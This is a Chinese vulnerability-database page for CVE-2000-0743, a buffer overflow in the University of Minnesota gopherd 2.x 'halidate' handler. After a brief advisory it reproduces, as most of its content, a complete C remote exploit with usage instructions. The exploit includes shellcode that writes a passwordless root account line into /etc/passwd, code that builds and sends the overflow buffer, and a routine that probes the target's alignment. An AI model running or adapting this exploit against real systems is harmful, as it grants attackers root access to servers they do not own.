Minnesota大学(UMN) gopherd任意命令执行漏洞
漏洞ID | 1105970 | 漏洞类型 | 缓冲区溢出 |
发布时间 | 2000-08-20 | 更新时间 | 2005-05-02 |
CVE编号 | CVE-2000-0743 |
CNNVD-ID | CNNVD-200010-131 |
漏洞平台 | Linux | CVSS评分 | 10.0 |
|漏洞来源
|漏洞详情
Minnesota大学(UMN)gopherd2.x版本存在缓冲区溢出漏洞。远程攻击者可以借助含超长票据值的DES密钥生成请求(GDESkey)来执行任意命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/1591/info
It is possible to either execute arbitrary code or crash a remote system running University of Minnesota's Gopher Daemon, depending on the data entered. An unchecked buffer exists in the 'halidate' function of Gopherd, where the 512 byte buffer can be overwritten with approximately 600 bytes of data.
/* (linux)Gopher+[v2.3.1p0-]: Daemon remote buffer
overflow.
Findings and exploit by: v9[[email protected]].
(vade79)
It is possible to exploit an unchecked sprintf call
in the
"halidate" option in gopherd.c. This exploit will
attempt
to write a line to /etc/passwd. (as a
superuser)
The gopher+ daemon has multiple overflows in
different
functions, but most overwrite the pointer(s) with
hardcoded
data from the program which are limited.
But, the
"halidate" option/call was a little hidden suprise
for me.
When the exploit is sucessfully executed it adds the
line:
"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd,
with no
0x0A return, which could cause some problems in
some
situations. You may have to wait till someone on
the box
modifies their /etc/passwd by adding a user or what
not.
Syntax:
[syntax]: ./xgopher <target> [port] [offset]
[alignment].
[syntax]: ./xgopher <target> <[port] [-getalignment]>.
Explaination:
If you don't know what the alignment of the server is,
(which
isn't expected *g*) just type "./xgopher hostname
[port]
-getalignment" and with aligment you're given type
"./xgopher
hostname <port> <offset> <alignment response you are
given>".
Info:
The following segment is from gopherd.c [line
1076/3453]:
("pathname" in the code segment is supplied by the
user)
--------------------------------------------------------------------------------
void
OutputAuthForm(int sockfd, char *pathname, char *host, int
port, CMDprotocol p)
{
char tmpbuf[512];
...
sprintf(tmpbuf,
"<FORM METHOD="GET"
ACTION="http://%s:%d/halidate%%20%s">rn",
host, port, pathname);
...
}
--------------------------------------------------------------------------------
Notes:
This exploit requires that the service is running as
root(to
write to /etc/passwd). Even if the gopher+ daemon
displays
itself running as another user, as long as it's
process is
running as root(uid=0) it should exploit successfully.
Do to
the servers local host+port character lengths
changing the
alignment will almost never be the same, I recommend
using
the -getalignment parameter. You can play as much
as you
want on this, the process is forked and won't
crash the
gopher+ daemon with invalid pointers. This was also
tested
effective on the 2.3 version of the gopher+
daemon.
Although this exploit is for linux servers, gopher+
isn't
just built for linux, it is also supported for BSD,
Solaris,
SunOS, HP-UX and other operation
systems.
Fix:
Compile with "./configure --disable-auth" (isn't
disabled by
default) and then recompile gopher or wait for a
patch.
Tests:
Built and tested on slackware 3.6 and slackware 7.0
linux.
(with lots of junk added to my /etc/passwd
*g*)
*/
#define BSIZE 512 // buffer size. (tmpbuf[512]
minus server data)
#define PADDING 150 // ret reps. (host+port
length guessing room)
#define POINTER 0xbffff65c // base pointer in which
offsets are added.
#define DEFAULT_PORT 70 // default gopher+ daemon
port.
#define DEFAULT_OFFSET 0 // default offset. (argument
is added)
#define DEFAULT_ALIGN 0 // alignment. (depends on
host+port length)
#define TIMEOUT 5 // connection timeout time.
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
static char exec[]= // appends
"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd.
"xebx03x5fxebx05xe8xf8xffxffxffx31xdbxb3x35x01xfbx30xe4x88"
"x63x0bx31xc9x66xb9x01x04x31xd2x66xbaxa4x01x31xc0xb0x05xcd"
"x80x89xc3x31xc9xb1x5bx01xf9x31xd2xb2x1dx31xc0xb0x04xcdx80"
"x31xc0xb0x01xcdx80x2fx65x74x63x2fx70x61x73x73x77x64x01x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x68x61x6bx72x6fx6fx74x3ax3ax30x3ax30x3a"
"x68x61x63x6bx65x64x3ax2fx3ax2fx62x69x6ex2fx73x68";
void timeout(){printf("[timeout]: Connection
timeout(%d).n",TIMEOUT);quit(-1);}
int main(int argc,char **argv){
char bof[BSIZE];
int i,sock,port,offset,align,ga=0;
long ret=DEFAULT_OFFSET;
struct hostent *t;
struct sockaddr_in s;
printf("*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer
overflow, by: v9[v9@fake"
"halo.org].n");
if(argc<2){
printf("[syntax]: %s <target> [port] [offset]
[alignment].n",argv[0]);
printf("[syntax]: %s <target> <[port]
[-getalignment]>.n",argv[0]);
quit(0);
}
if(argc>2){
if(!strcmp(argv[2],"-getalignment")){ga=1;port=DEFAULT_PORT;}
else{port=atoi(argv[2]);}
}
else{port=DEFAULT_PORT;}
if(argc>3){
if(!strcmp(argv[3],"-getalignment")){ga=1;}
else{offset=atoi(argv[3]);}
}
else{offset=DEFAULT_OFFSET;}
if(argc>4){
if(atoi(argv[4])<0||atoi(argv[4])>3){
printf("[ignored]: Invalid alignment, using default
alignment. (0-3)n");
align=DEFAULT_ALIGN;
}
else{align=atoi(argv[4]);}
}
else{align=DEFAULT_ALIGN;}
if(ga){getalignment(argv[1],port);}
else{
ret=(POINTER+offset);
printf("[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size:
%d, Padding: %d.n"
,ret,offset,align,BSIZE,PADDING);
for(i=align;i<BSIZE;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(BSIZE-strlen(exec)-PADDING);i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
memcpy(bof,"halidate ",9);
bof[BSIZE]=' ';
if(s.sin_addr.s_addr=inet_addr(argv[1])){
if(!(t=gethostbyname(argv[1]))){
printf("[error]: Couldn't resolve. (%s)n",argv[1]);
quit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
signal(SIGALRM,timeout);
printf("[data]: Attempting to connect to %s on port
%d.n",argv[1],port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[error]: Connection failed. (port=%d)n",port);
quit(-1);
}
alarm(0);
printf("[data]: Connected successfully.
(port=%d)n",port);
printf("[data]: Sending buffer(%d) to
server.n",strlen(bof));
write(sock,bof,strlen(bof));
usleep(500000);
printf("[data]: Closing socket.n");
close(sock);
}
quit(0);
}
int getalignment(char *target,int port){
char buf[1024];
int i,j,si,sock,math;
struct hostent *t;
struct sockaddr_in s;
if(s.sin_addr.s_addr=inet_addr(target)){
if(!(t=gethostbyname(target))){
printf("[error]: Couldn't resolve. (%s)n",target);
quit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
signal(SIGALRM,timeout);
printf("[data]: Attempting to connect to %s on port
%d.n",target,port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[error]: Connection failed. (port=%d)n",port);
quit(-1);
}
alarm(0);
printf("[data]: Connected successfully. (port=%d)n",port);
alarm(TIMEOUT);
write(sock,"halidate n",10);
for(i=0;i<2;i++){if(!read(sock,buf,1024)){si++;}}
i=0;while(buf[i]&&!(buf[i]==0x4E)){i++;}
j=0;while(buf[j]&&!(buf[j]==0x25)){j++;}
usleep(500000);
printf("[data]: Closing socket.n");
close(sock);
if(!si||i>=j||strlen(buf)<64){
printf("[error]: Too minimal or invalid data recieved to
calculate. (try agai"
"n?)n");
quit(-1);
}
else{
math=(i-j-2);
while(math<0){math+=4;}
printf("[data]: Alignment calculation: %d.n",math);
}
}
int quit(int i){
if(i){
printf("[exit]: Dirty exit.n");
exit(0);
}
else{
printf("[exit]: Clean exit.n");
exit(-1);
}
}
|参考资料
来源:BID
名称:1569
链接:http://www.securityfocus.com/bid/1569
来源:BUGTRAQ
名称:20000810RemotevulnerabilityinGopherd2.x
链接:http://archives.neohapsis.com/archives/bugtraq/2000-08/0112.html
Software Package 提权漏洞 漏洞ID 1207203 漏洞类型 权限许可和访问控制 发布时间 1999-01-01 更新时间 1999-01-01 CVE编号 CVE-1999-0663 CNNVD-ID CNNVD-199901-074 漏洞…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666